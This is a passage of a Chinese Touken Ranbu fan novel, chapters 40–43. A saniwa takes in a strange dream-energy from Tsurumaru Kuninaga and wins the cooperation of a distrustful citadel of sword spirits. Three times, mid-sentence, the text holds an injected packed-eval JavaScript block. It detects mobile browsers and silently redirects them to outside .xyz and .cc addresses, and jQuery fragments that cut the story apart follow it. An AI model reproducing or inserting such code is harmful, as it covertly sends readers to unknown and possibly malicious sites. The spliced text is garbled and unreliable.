刀剑付丧神化为人型,模拟人类的身体构造,不追求功能一致,只追求外表相似。 正因如此,他们往往拥有最符合人类审美的外貌,教科书一般装模作样运转着的内脏,力求一切完美。 太刀的心跳间隔时间是完全一致的,精准到了毫秒不差。这在人类身上完全不可能存在,稍微一点的情绪波动都有可能让他们心跳加速或者减慢。 这让两者之间的相似无比明显。 而当找到了怀疑对象,剩下来的一切推测就变得格外简单。 耳边仍响着鹤丸国永不相信他所说的话而追问的声音,清水悠却完全屏蔽了外部动静。 他指尖微动,一点一点增加灵力的输出量,控制着它们去接触那顽固污垢一般的粘稠能量体。 他似乎找到Boss了。他想。 他有预感,这次与上次不同。他轻轻动了动手腕,直觉告诉他,这次能够完全清除。 这东西明显和他之前接触的不一样,之前的情况虽然看起来像是与他的灵力抵消之后黑雾凭空消失,但他知道有一部分是钻进了自己体内。 量不多,影响不大,他便没提。 但现在这样的情况……或许他要将自己身体的一部分让出去给它们居住? 灵力与能量缠绕,鹤丸国永的声音戛然而止,露出奇怪的神色。 清水悠完全沉浸于手下的事物。 如果这具破败的身躯还能做出如此贡献…… 听起来,倒也不错。 40.第40章 “——啪!” 粟田口内,一期一振一把拉开弟弟们房间的门,焦急的视线在触及迷迷糊糊睁眼看向自己的小短刀们时融化,他松了口气。 蓝发太刀走进去挨个检查了一遍,确认没有出问题。 “没出事就好……” 三条派内,一如既往在夜晚坐在屋檐下出神的小狐丸耳朵动了动,扭头看去。 “三日月殿?……怎么这个时候出来了?” 三日月宗近看起来正思索着什么。 小狐丸拧了拧眉,视线忽然投向他的身后,偷偷摸摸溜出来的岩融和今剑猝不及防被发现,与他对视着面面相觑。 岩融吞了一口唾沫,今剑尴尬地扯开嘴角笑了笑。 冲田组屋内,大和守安定冲出来拍了拍加州清光的门,木门很快被打开,好友那双红眸在暗色的屋内泛着沉静的光。 住在本丸角落里的陆奥守吉行忽然惊醒,抬手捂住心脏,分明他们不会有心跳加快的生理反应,但他无端感到一种心悸。 压切长谷部如往常一般半夜迟迟无法入睡,甚至莫名比以往焦躁,他翻身下床,准备出去透透气,结果一开门就听见隔壁传来同样的声音。 他愕然扭头,在月色下对上了烛台切光忠的视线。 ………… …… 鹤丸国永在独属于自己的近侍房内‘噌’地坐起身,他的胸膛重重起伏,在黑暗中一把握住了自己的刀。 那只握住刀的右手手指用力握紧,清晰感受到手中的轮廓与重量时,他才像慢慢缓过神来。 然后他神色一凛,立刻开门出去,连爬楼梯的耐心也无,直接从外面翻身越上二楼。 他敲了敲门,没听见里面有回应。 随即便一刻也等不下去,一把推开门,脱口而出: “——主公!” 屋内,清水悠正躺在床上,双眼紧闭。 这样大的动静也没能把他吵醒,他的眉心拧得很紧,看起来并不安稳。 鹤丸国永一个箭步冲上去,却没能靠近,清水悠身上汹涌的灵力如同一道风暴组成的屏障,阻止任何人的接触。 那道屏障暴躁得像是任何人靠近都会被搅成碎屑。 可鹤丸国永看了一眼清水悠体内混乱的灵力流,毫不犹豫迈开脚步。 意料之外的是,踏入其中之后,除了风刮在身上有点刺刺的疼,风暴远不如在外面时看到的那样肆虐。 鹤丸国永于是彻底放下顾虑,迅速来到清水悠身边。 刚才的情形完全出乎了他的意料,在被那一句直球打蒙之后,他短暂地走了一会儿神,然后便忽然想起来一件十分重要的事。 这只是一个虚构的梦境,自然不可能真正存在什么暗堕气息。 但这东西的定位特殊,要让人将它们当真,必须要真正存在才行。 所以他们就想了一个主意。 用他们身上能够操纵梦境的那一部分能力来模拟。只是伪装而不是凭空制造,这对于梦境的能力来说就要简单很多。 而鹤丸国永作为得到权能最大的那个人,他才是进行梦境模拟的真正主角,自然而然,身上的‘暗堕气息’也就最多。 这就导致了,审神者所说‘想要替他们清除暗堕’是完全不可能成功的事情。如果那只是捏造出来的,他还可以配合着适当减少,造成一种对方成功的假象—— 可那是自他显现以来就存在于刀身内的奇怪能量,怎么可能被清除? 他甚至不清楚这样操作之下会不会出现什么意外情况! 鹤丸国永的神色很严肃,他专注地看着审神者身体内的情形,心想果不其然出了意外。 怪他没能及时阻止。 那团奇怪能量现在当真转移到了审神者体内,连带他分割给其他付丧神的都如同磁铁相吸一般被全部收回,现在只有他的本体刀内还剩下部分与他融合过深的能量。 其实现在究竟要怎么做他也不知道,他这么久以来没有哪一刻是弄明白了这东西的存在的。 但是他却出奇冷静。 滞留在他这里的能量跳跃着,带着奇怪的欢欣。而直觉告诉他,他现在要做的就只有一件事。 窗外忽起大风,一身雪白的太刀周遭的环境让他显得摇摇欲坠。 而他金眸冷静,将手抬起,手中太刀刀尖向下,冷冽的利器锋芒闪烁,刀尖对准清水悠的胸口。 ——加州清光推门进来时,看到的就是这样的情景。 他瞳孔骤缩,敬称都顾不上喊:“鹤丸国永!你在做什么?!!” 鹤丸国永微微偏头,投来一个视线。 收到这样的质问,他也依然语调轻快,像是看上去正要进行弑主行为的不是他一样。 “是加州呀。”他面上带笑,语音里却没有一丝笑意,“抱歉抱歉,我现在没有空哦。等结束了,我再来回答你的问题如何?” 这话在加州清光听来显然就是逃避,他立刻便想要上前阻止,鹤丸国永却在此时已将太刀往下送去。 刀尖没入审神者的身体,屋内骤然狂风大作。 加州清光的动作被硬生生止住,他不得不抬手挡在眼前,黑发乱舞,辫子在身后飞扬。 隐约间,他听见清水悠闷声咳嗽的声音,夹在风中,几乎难以听闻。 这让本就心事难平的加州清光捏紧了拳头,心中暗暗咬牙想道,若是他有事,他绝对…… 绝对不会放过敢对他下手的人! 好长一段时间内,屋内除了狂风呼啸的声响,便再听不见其他声音。 一直到风声变弱,直至消失。 房间内安静得落针可闻。 加州清光慌乱睁眼。眼前画面却与他想象中不同,他看见审神者不仅没有事,还清醒地坐了起来。 他正垂眸看着自己的手,似是观察,又似是出神。 而旁边的鹤丸国永对眼前的情景并不意外。他收刀入鞘,金眸闪闪,笑意吟吟:“晚上好呀,看起来您睡得不错呢——” “主公?” 加州清光一愣,瞪大了眼。 - 清水悠在这天晚上,被彻底打破了生物钟的规律。 脑子里多出一大堆乱七八糟的记忆,细看之下发现竟然是某个暗堕本丸的经历。 睁眼之后又发现房间里意料之外的站着两振刀,根据审神者对本丸的感知还能发现楼下还有一振大和守安定,多半是跟着加州清光来的。 ……哈、难怪他最近总觉得不对劲。 这群家伙半夜做梦还拉他加班? 听见身旁鹤丸国永的问候,清水悠几乎是没好气地怼了一句:“我睡得好不好,你们不知……你叫我什么?” 白鹤笑得灿烂,像是生怕他听不清一样,口齿清晰地又重复了一遍:“主公呀。” 简短的三个音节清脆落地,砸得清水悠呆了一秒。 他还没反应过来,站在门口的加州清光却率先应激一般走近一步,红眸紧盯白发太刀,咄咄逼人地质问:“鹤丸殿,您当初不是说——” “说我不想有主人?”鹤丸国永接过他的话,“唔……是有这么一回事。但我应该还有说过一个前提哦?” 加州清光回忆了一下,瞬间露出被噎住一般的神情。 这家伙的确说过。 当初头一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011614|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开诚布公地谈话的时候,他说他想试试不被人管束的生活,所以愿意配合他们。 但说完这句之后,他扫了一眼垂下眼眸的太郎太刀,又开玩笑一般补充了一句:“嘛、不过如果有值得跟随的主人,我说不定也会跟他走呢?” 在那样的情景下,所有人都默认他这话只是考虑大家的感受,所以随口一说。 现在他竟然真把这话搬出来了! 加州清光皱着眉,双唇抿得很紧。他想要说些什么,可仔细一想却又发现,自己没有任何提出异议的理由。 反倒是鹤丸国永状似无意地提出这一点:“说起来,主公他早已决定全心全意帮助你们寻找主人,也不会让你们改口。” “我的选择似乎与加州没有关系呢,为什么会有这么大反应呢?” 加州清光沉默不语。他注意到清水悠也投来了视线。 “……抱歉,是我太激动了。”他说道,同时转身,颇有些落荒而逃的意味,“既然审神者这里没什么事,我就回去了。” “等等,清光。” 这次是清水悠喊住了他,“看起来,你们应该也不会继续休息了?麻烦帮我带一句话吧。” “请大家收拾一下,到大广间来。” 加州清光离开了,清水悠慢吞吞下床,看一眼还站在旁边的鹤丸国永:“我要换衣服。” “需要我帮忙吗?”鹤丸国永笑吟吟问。 清水悠无情地把他推出了门。 只剩下自己的这段时间让清水悠稍微冷静了一下,他换好衣服,站在窗边吹了吹风,明明睡眠不足,却半点不觉得困乏。 他深深吸一口气,推门出去,鹤丸国永就乖乖等在门外,亦步亦趋跟在他身后一起下楼。 清水悠觉得自己应该有很多问题。 但当他开口,他发现自己现在只想询问一个问题。 “为什么要叫我主公?” 鹤丸国永先是问:“难道您现在不是我的审神者吗?” 随后又正了正颜色,声音被安静的夜晚衬得静谧:“我没有讲过吧?我其实没有见过我的审神者。” 他刚被锻出来,对方就失踪了。在一开始甚至有不少失去理智的付丧神将怀疑的视线投注至他的身上,所幸被其他人拦下。 所以他与那位审神者几乎没有交集。在那样的情况下,他能记得的就只有他还在锻刀炉里时,对方叹息一般说出的一句话: ——“要是能真切见你一面,就好了。” 这句话是他对那一位唯一的记忆,也是他留下来帮助这个本丸寻找主人的其中一个原因。 给予了自己人身,却连这样一点小小的愿望都无法满足,岂不是有点太吃亏了? 他想找到那位审神者,想和他“见一面”,然后就算作自己完成了约定,之后想要做什么都不再有束缚。 在那时,他的目标是成为一只能自由翱翔的鹤。所以他执着于留下。 可现在…… 他甘愿为自己重新束上缰绳。 “这么算下来,我们的目标并不冲突,对吧?”鹤丸国永笑着道,“人类总会在不同的时期有不同的想法,虽然我只是刀,但既然我拥有了人类的外形,学会人类的思维也是很正常的事情吧。” 清水悠静静听着,待他说完,忽然停下脚步。 “我尊重你的选择,”他说,“但有一点我不认同。” 鹤丸国永露出洗耳恭听的神情。 清水悠:“我不会束缚你,笼养鸟儿是扼杀天性的做法。” “你还是你。不论是想要振翅高飞、还是安居筑巢——” “这一切,全都随你。” 41.第41章 “……”鹤丸国永沉默了好一会儿才忽然失笑。 “还真是您会说的话。” 接下来清水悠便没再开口询问,鹤丸国永也不多做解释,两人默认了剩下的一切,都等开完会之后再去解决。 清水悠在之前将那句话告知一期一振之后,就一直在等待一个时机。 一个他们做出决定的时机,一个他能与这个本丸达成合作协议的时机。 现在这个时机到来了——虽然比他曾经预料的要早,情况也有所偏差。 但没关系,这反而正合适。 这件事作为一个把柄,足以成为他们之间谈判的筹码。付丧神们的天性纯真这件事他再清楚不过,或许这次会议会比他想象中还要轻松。 他在大广间坐下,其余人离这里距离较远,再加上商量犹豫的时间,目前还没有到来。 清水悠打了个哈欠。 “鹤丸,”他随口问道,“你有什么喜欢吃的吗?” 鹤丸国永一愣:“嗯?问这个做什么?” “因为想不到早饭吃点什么了。”清水悠叹气,“这种事情真是人生里永恒不变的难题。” 鹤丸国永思索片刻,作为刀剑,他显然从没有过这种烦恼。他忽然想起来清水悠平日里一直是自己做饭的,虽然能吃到主人亲手制作的食物这一点很让鹤惊喜啦,但是…… “您是不是忘了什么?”对上清水悠疑惑的视线,他笑道,“这种事情应该由近侍来操心才对哦?这不就是近侍的责任嘛。” 清水悠沉默地打量他一眼。 “我会把光坊叫来帮忙的!”鹤丸国永笑眯眯道。 主公会认为不好意思而拒绝光坊进入厨房,但他可就没有这个顾虑了。身为这个本丸的刀剑,为审神者做事本就是天经地义的事情嘛。 “哈哈哈,老爷爷也想凑个热闹啊。” 三日月宗近标志性的笑声响起,太刀迈步走进来。 “哦呀,三日月殿?”鹤丸国永抬眼。 等一下,凑什么热闹?下厨? 清水悠忽然警惕起来。 他掀起眼皮看过去,好在鹤丸国永已经先一步进行了拒绝,虽然使用的理由是“不要和他争功”。 清水悠不觉得这里会有刀想和他争功。但算了,拒绝了就行。 “不要这么见外嘛。”三日月宗近不依不饶,“我不动手,让我来蹭一顿饭如何?” 鹤丸国永:“这要求听起来怎么还连吃带拿的。但一想到是三日月殿你,我又觉得不意外。” 三日月宗近:“哈哈哈。” 清水悠:“……” 你俩讲漫才呢。 门外传来了嘈杂的脚步声,三日月宗近都已到达,其他刀剑自然也不例外。清水悠坐直身子,轻轻吐出一口气。 要说紧张倒也不至于,只不过是感慨,想要建设一个和谐平静的本丸还真不容易,还好,现在就快要得到答案了。 神色各异的付丧神们安静落座。 有人看起来充满警惕,有人看起来充满疑虑,也有人看起来笑呵呵好似完全没有意识到现在是个什么情景,比如三日月宗近。 清水悠承认自己一次都没有看透过这振千年老刀整天究竟在想什么,索性直接将他忽略。 他扫视一圈每个人的脸,感慨道:“真严肃呢。” 髭切搭腔,笑容绵软:“毕竟是被抓了现行呀。唔……这样的情况,实在是很难不感到惴惴不安吧?” 清水悠恰到好处露出一分惊讶。 “咦,我以为你们会当做无事发生?” 读作无事发生,写作装聋作哑。 众刀剑:“……” 这话真直白,直白得让人没法接。 那坐在主位上的审神者一改平日里的温吞好脾气,不复那随便他们做什么通通不关注的态度,嗓音变得冷淡。 “既然都是心知肚明的事情,我也就不浪费时间了。” “不知道一期殿有没有把话带给你们——我猜是有的,毕竟你们私底下进行了那么多次会议。” “我给了你们几天时间用来思考。” “现在,我来听你们的答案。你们的答复是?” 一期一振的脸色变得凝重了些,审神者这一番话说出口,就代表着他知道的远比自己想象中要多。 但他一直沉默着没有说出口……难道只是因为,想要让他们自己作出决定? 他看了看其他付丧神,显然大家都不知道这一点,多少露出了惊讶的神情,有几人和自己一般想得多了些,惊讶中透出隐隐愧疚。 自从来到这个本丸,这些继任审神者们的生活就过得绝不算好,这一点大家都清楚。 之前那两位审神者不会使用厨房,大家怕他们饿死,好歹每天安排了人去做饭。 但这一位来了之后,没人理会就自己从善如流地解决了自己的伙食问题,他们便也顺理成章连这一点都没有去帮忙。 相比较来讲,他比前面几位还要更加辛苦。 在这样的对待之下,还能给出尊重,将信任与否的选择权交到他们手里的可能性是多少? 他甚至还完全不催促地等待他们自己考虑好,若不是今天这件事被审神者发现,他恐怕还会继续耐心等下去。 清水悠看着他们的神色,就知道自己要的效果已经达到了,放软了语调。 “我知道这里是你们的家,你们才是互相的家人。所以我的意思并不是要你们站队。” “把我当做客人、或者合作者——怎样都好。”他说道,“身为刀剑,过刚易折这件事想必你们比任何人都要清楚。” “你们不愿任何别的审神者坐上这个位置,但能够给予帮助的,只有这个位置上的人。而我想帮你们。” 清水悠低低叹一口气,像是有些乏力。 他却依然继续说道。 “不用明确立场,也不要去钻牛角尖。我不在乎审神者这个职位,除了好好相处以外,不需要你们替我做什么。我只是见不得有任何一振刀剑被放弃,还是因为这种理由。” “就这么简单。” 刀剑本灵甘愿沉睡,分出分灵来给时政打工,不应该遭到不公平的对待。 这些介于神明与妖怪之间的生灵分明至善至纯,他们不在乎人类有多少复杂心性,又有多少利益算计,他们只知道,刀剑护主是本能,当他们认了主,就永远不会背叛。 不管这个本丸的审神者究竟去了哪里,清水悠看见了、和他们相处了,他就没办法放下不管。 或许是因为的确很爱他们。 也或许是……想到了自己手机中的那“一串数据”。 若他们真的存在,在他们眼中,自己也像这个本丸的审神者一般,是突然消失了吧? 这一番话说完之后,刀剑们肉眼可见的躁动。这个时间他们本就已在纠结是否要相信他的话,此刻的承诺便如同是给了一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15024520|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定心丸。 再加上这时候被叫来本就多少有点心虚,他们互相之间对视几眼,很快就有刀剑表了态。 “抱歉,大人。请原谅我之前的态度。” 加州清光率先出声,他直直看着坐在那个位置上的人,“我相信您的诚意,与此相应的,我也愿意给出我的态度。在这之后,若有什么事需要找我,请您尽管吩咐。” 大和守安定被他突然出声吓了一跳,没来得及反应,便本能地跟着开口:“呃、我,还有我也是!” 他说完才后知后觉地意识到自己跟着说了些什么,抱怨地扭头看向不按常理出牌的好友,却发现清光并没看他。 他望着主位上的审神者,眼里闪着自己看不明白的光。大和守安定迟疑片刻,最终没有出声。 他们之间的一点小插曲无人注意,所有人虽然各有各的想法,但既然有人带头,之后的事情便也顺理成章许多。 陆陆续续响起的妥协的话语,像一场忽然而至的风,又像春日里迟来的雨。 在场的人与神签订了互相之间心领神会的契约,无人挑明,落雨却已将冰雪融化。 于是万物悄然复苏。 - 走出大广间之后,感到放下重担而一身轻的今剑正要去找粟田口玩,转身之前瞥到了身旁的三日月宗近,迟疑了一下,没有出发。 “三日月大人,”他拽了拽后者宽大的衣袍,“您笑得……好奇怪哦。” “哈哈哈,是这样吗?”三日月宗近弯着眼,“我只是在想,大家的节奏都被带着跑了啊。” “诶?”今剑冥思苦想了一会儿,“我没看出来诶。” 三日月宗近笑而不语。 没有吗?可是所有人似乎都忘记了,来前他们还打算问一件事。 梦境…… 为什么会崩塌? - 被迫醒来的时间不早不迟,开完会的时间倒是再过一会儿就可以收拾收拾吃早饭了。 清水悠在桌子上趴了一会儿,又打了个哈欠。然后懒洋洋地爬起来,看一眼依旧留在自己身边的鹤丸国永,忽然解除了防护。 黑发黑眸的青年本貌头一回在这个本丸出现在付丧神的面前。他眉眼倦怠,五官与少年时几乎没有区别。 鹤丸国永本来在琢磨早饭,被他的动作一惊。 “不错的惊吓,不是吗?”清水悠扫他一眼,一双桃花眼搭上他冷淡的表情竟也不突兀,反倒减少了他气质中的拒人千里感。 鹤丸国永眨眨眼,缓过神来:“主公这是?” “既然已经看过了,再遮遮掩掩也没意义吧。”清水悠往外走,注意到他的神色,“啊。你想问为什么刚才不这么做?” 他弯了弯唇,幅度很小,若不是鹤丸国永的注意力此刻全在他身上,几乎注意不到。 “嘛……你就当,这是作为‘我的刀’的特殊待遇吧。” 说完这句,清水悠便没再等他,一边往外走一边交代:“今天的早饭就不用麻烦烛台切了,我还有事情没和你问清楚,趁这个时间,我们再谈谈。” “哦,对了。三日月也不要让他来。” 他对心眼子多的人过敏。 好吧,主要是因为哄老爷子太累。 青年的声音伴随着身影慢慢消失在门外,鹤丸国永视线追随着他,很快抬脚跟上去。 “等等我啦,主公。” 真是的,这才是意料之外的惊喜吧? 42.第42章 虽然引导会议将重心只放在他想要达到的目的上,但清水悠并没忘记,在这件事中存有疑虑的部分。 首先是最重要的一点: “我不记得刀剑付丧神拥有这种能力——是和梦有关?” “没错,”鹤丸国永干脆地坦白,“事实上,它具体究竟是什么情况,我也不是很清楚。” “在我显现以后,它就一直以能量的形态存在于我的刀身内。当时我一无所知,还以为这是正常的,直到当天晚上,我做了个梦。” 梦里,他躺在棺材里,空间狭小窒息,伸手不见五指。 他一开始还没发现是梦,以为自己真的处在那段埋藏地底的时空。直到他伸了伸手,不小心咚一声敲上旁边的棺材壁,两秒之后,那边也对着他敲了一下。 鹤丸国永:“……” “那时候我立刻就明白了,毕竟真在那个时间的话,我还没有人身,棺材外也不可能有人回应我。” 他说道:“这是梦。虽然付丧神一般不会做梦,那时的一切也无比真实,但我清晰地意识到,这是梦。而我是梦的主人,我可以操控它。” 之后的事情也就顺理成章,在那场梦中,整个本丸所有付丧神都被一同拉入,醒来之后经过交谈,很是混乱一阵。 但他们当时刚失去主人,没什么精力去探究这些无关的事。弄清楚并非敌袭什么的之类之后,也就没人在意了。 而鹤丸国永自己翻来覆去的研究了半天,也没研究出什么名堂来,只知道在这个本丸的范围内,他拥有操控所有人梦境的权利。 这种东西起什么用?拿来恶作剧吗?可没人有心思陪他恶作剧。 于是新鲜劲过去之后,也就被放置了。 再一次被想起的时候,就是时政派来了新的审神者那天。 那个时间他们已隐隐分为了两派。其中不肯接受新主人的那一部分找到鹤丸国永。 他们在那时,就初步定下了这个利用梦境的计划。 清水悠沉吟:“也就是说,其实你们也不清楚这到底是怎么来的。” 鹤丸国永耸耸肩。 确认了对自己无害,他也就没有要上报时政的打算。这种情况不明、连时政来人都没发现的东西,现在在自己身体里,真要上报了,他真有点怕自己被当成小白鼠反复研究。 而且根据它出现的时间来看,他对这东西的来历也多少有一点猜测。 “在我显现之后,审神者消失,而我多出来了一个它。我一直在想,这会不会其实就是那位审神者留下来的东西。” 他开玩笑道:“我之前试过了各种办法想把它剥离出来,可都没有成功过呢,现在却这么主动的跑到您那里去。该不会它本来就是您的吧?” 清水悠瞥他一眼,这话说出来,他知道对方其实是在试探自己有没有可能是他所想的那个身份,毕竟这有点太过巧合。 但自己究竟有没有养过一个本丸,他实在是再清楚不过。 他是有一个本丸,但那只是游戏,这是那只狐狸亲口说的。 况且,如果是的话,每个人的灵力都有所不同。他们难道还能认不出来吗? 鹤丸国永大概也知道自己这话荒谬,没有得到回答,也不再询问。 他凝神看向清水悠体内的能量分布——与灵雾状态之下不同,能量的流动更精确的分配到了四肢百骸,绚烂的色彩流淌着,心脏部位果冻一般梦幻的核心闪闪发亮。 清水悠自身本来的那些未知能量与从鹤丸国永身上带走的不同,此刻却都已十分和谐地融合在了一起,像是它们本就为一体。 “感觉怎么样?”鹤丸国永问。 清水悠调动能量,搓出一颗灵力球,然后摇了摇头。 “和之前没什么不同,包括你说的与梦境有关的那些能力,我也没有感觉到。” 他把灵力球抛给鹤丸国永,后者问问接住,拿起来对光看了看,“唔,与平时的也看不出什么区别呢。” 他把手放下来,两指夹住珠子,笑吟吟地晃了晃,“这个送我啦?” 清水悠正在装盘,闻言瞥他一眼,眼神像是在说‘不给你给谁’。 鹤丸国永立刻便把它收起来,然后从清水悠手里抢过事做,先一步走进厨房。 “这种事就交给我好啦!” - 吃过早饭之后,鹤丸国永就像是因为早上的事情彻底解开了什么枷锁一般,亦步亦趋地要一直跟在清水悠身后。 搞得他忍不住都有点怀念自己之前被无视的日子,忍无可忍之后问了一句:“你之前每天不见人影的,是去哪儿了?” 本来是要暗示他有什么事快去做,别一直赖在自己身边的,却没想到被理解成了是在兴师问罪。 鹤丸国永立刻发誓说自己之后一定不会再玩忽职守了,却对问题避而不谈。这反倒还勾起了清水悠的好奇心,追问之下他才不好意思地回答说是去万叶樱上睡觉去了。 清水悠:“……” 无事可做只能爬树睡觉的鹤,听起来怪惨的。 但这反正又不怪他,所以清水悠理所应当地抛掉了摸摸头安慰一下的想法,然后才忽然意识到,自己明明是想隐晦地让他自己去玩。 居然悄无声息就被带偏了想法。 他扭头看了一眼身边心情很好的鹤,对方注意到他的视线,立刻很无辜地眨了眨眼睛,像是他真的什么也没做。 清水悠默然片刻,放弃争论。 通讯器在这时忽然响了起来。 这个时间会给他发消息的只有一个人,清水悠低头一看,发现果不其然是久日的头像在屏幕上跳动。 还没点开就又跳了好几下,清水悠带着疑惑看完,神色尚还没有什么不对,鹤丸国永就敏锐地问:“怎么了?” “有同事要来做客。”清水悠低头敲下回复,“有点担心……没什么。” 他收起通讯器,对鹤丸国永伸出手:“今天的日课安排呢?” 鹤丸国永就带在身上,闻言找出来给他。 清水悠指尖凝出灵力,将上面的两个名字划掉,具有咒语效应的文字随着主人的修改消失,他重新填上两个新名字。 他再确认了一遍,然后把薄纸还给鹤丸国永,一边思索着在本丸迎接客人需要做什么准备,一边朝天守阁的方向走去。 鹤丸国永扫了一眼纸上的名字,发现被删去的那两个是粟田口的短刀。 现在这份日课安排上,便一振粟田口的刀剑也无。 - 在那场所有人都未曾预料到的会议结束之后,一期一振一直心神不宁。 那场会议在不同人的看法中都有所不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15028387|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,审神者提出的建议当然很合他们的心意,这样的选择对审神者本人来说没有任何好处,几乎可以说是所有人梦都不敢梦的方案,却就这样被提出。 因为太过匪夷所思所以第一时间无人敢相信,他还特意做出了这样的承诺与回复。 这是迄今以来最好的一件事了。 但是…… 一期一振踟蹰片刻,咬咬牙,忽然呼唤道:“三日月殿!” 不远处的三日月宗近闻声驻足。他转过身来,脸上露出几分惊讶:“哦呀。有人在叫我?” 那双新月眼朝一期一振看过来,他端详了一下蓝发太刀的神色,不稍思索便已了然。 “看来,一期殿是有事情想同我讲呀。” 一期一振几步迈过去,停在他跟前。 他目光隐晦地打量一眼三条派好奇看过来的刀剑,石切丸不知是否是看出了什么,很快拽着兄弟们离开。 “……三日月殿,”一期一振松了口气,临到要说出口之时,他迟疑片刻,反倒又吞吞吐吐起来,“小狐丸殿他,似乎没来参与这场会议?” 三日月宗近弯起眼睛笑,“是啊,大概是觉没睡足吧,哈哈哈。” “这个时间确实早了些。”一期一振应和。 他的注意力不在小狐丸身上,最终还是把自己在意的事问出了口:“三日月殿认为,这位审神者是个怎样的人呢?” 都已到这时候才来纠结这件事,似乎已经太迟。三日月宗近却认真地思索了一下,然后说:“如果不是在这里,我想,他应该会是一个很不错的主人吧。” 一期一振:“那——” “正因如此,我们才更应该少麻烦他才对呢。”三日月宗近说道,“你觉得呢?一期殿。” “……”一期一振沉默下来。 旁边粟田口的短刀们懵懂地望着他,不明白这是在说什么,打刀鸣狐抬手一把摁住自己肩上狐狸,后者不甘不愿地闭上嘴。 三日月宗近似乎不介意他的沉默,呵呵笑了两声,便率先结束话题。 “天色还早,看起来够我回去睡一个回笼觉,老人家需要足够的睡眠啊——那么,我就先告辞了。” 一期一振沉默着,往身后大广间的方向望了一眼,他们走出来的时间不长,里面灯还亮着,审神者与已然做出选择的鹤丸殿还没有离开。 他们在聊些什么呢? 今夜看见鹤丸殿的模样,还是头一次见他那般放松——这个本丸的氛围,早在无知无觉的时候就已沉重得连鹤都无法展翅高飞了。 今天他却像是看见了久违的天空一般明媚。 肩膀忽然被拍了拍,一期一振回过神,看见鸣狐对他摇了摇头,身后他的弟弟们都担忧地看着自己。 他很快将所有忧虑情绪都掩藏下去,扬起温柔的笑:“抱歉,耽搁了一些时间。天还没亮,还困吗?要不要回去睡觉?” 小短刀们纷纷摇头。 他们一个一个上来,拉住一期一振的手、拽住他的衣角,乖巧得一点刚才的事都不提,只说要一期哥陪他们去玩荡秋千。 小狐狸站在鸣狐肩上尖声尖气地道:“那个秋千可负担不起你们所有人的重量啊!” 一期一振笑了笑:“没关系,一个一个来就好。” “想玩多久,我都会陪你们的。” 43.第43章 和久日见面的时候,清水悠已重新转回了灵雾状态。 他提着壶给对方倒了一杯水,姿态很是从容,久日却盯着看了看:“呜哇,这就是普通的水吧?” 清水悠眨了眨眼。 “……普通的水就不要用茶壶装了吧!这是对它和水的不尊重啊!” “唔,没太注意。下次一定。”清水悠打着哈哈回答。 旁边陪同的鹤丸国永默默瞅了他一眼,一路跟着过来的他敢发誓主公这绝对不是什么忘了,路上他一遍念叨着招待客人一边到处翻了翻,结果最后站在原地思考一会儿,随手提了两样东西就走了出来。 鹤丸国永敢发誓他那时在主公脸上看到了‘好麻烦’‘随便吧’几个字。 甚至连水都是把壶丢给他让他去烧的! 倒水反正只是个走走形式的行为,清水悠知道对方此次不是来做客的,简单摆完了架势就单刀直入地问道:“说说吧,发生什么了?” 连陪同的付丧神都没带,是和家里的刀剑出了问题? 果不其然,久日叹了口气,苦哈哈地说道:“其实我也不知道到底怎么了,但就是、很可怕、超级可怕啊!他们最近几天一直奇奇怪怪的,怎么说呢,就是……” 他把脸皱成了一团,冥思苦想了半天。 “就是,哎呀我说不出来,反正真的很奇怪!” 清水悠:“……” “让你感觉不适了?”他试图引导,“跑到我这里来是想要透口气吗?” 久日:“诶,差不多。感觉太奇怪了我觉得我必须得出来待会儿不然我浑身不对劲。” 久日:“喔,我想到了一个词,就是那种,小心翼翼你知道吧?他们最近对我的态度特别小心翼翼!那种程度都快和我爸妈一样了,让我感觉我是不是没两天就要死了!可我已经死过一次了啊?” 清水悠不太能体会他的比喻,不过想要表达的意思倒是听明白了。 和对方相处时间不长,清水悠也感觉到了这家伙其实是个很迟钝的人,很多暗示和情绪他看不明白,要直说才能知道。 能让他都觉得不对劲的,那得明显到什么程度? 他朝身侧的鹤丸国永看了一眼,后者摇摇头,表示只这么说他也理解不了那些同类的想法。 清水悠便收回视线,没多犹豫就做出决定:“既然这样,我陪你回去看看吧?” 久日:“诶?” 他露出天塌了一般的神情:“等、等等!现在吗?我能不能多待一会儿?就一会儿!” 还真是不忘出门的初心。清水悠默默感慨,也没想着拒绝。正要说那就让他自己待一会儿,久日下一句话就出口了:“对了!你这里有试卷吧?” 清水悠:“……” 清水悠:“??” 鹤丸国永发誓,他头一次看到自家主公这么僵硬的模样,身侧的云都不飘了。 不过……试卷?什么试卷? 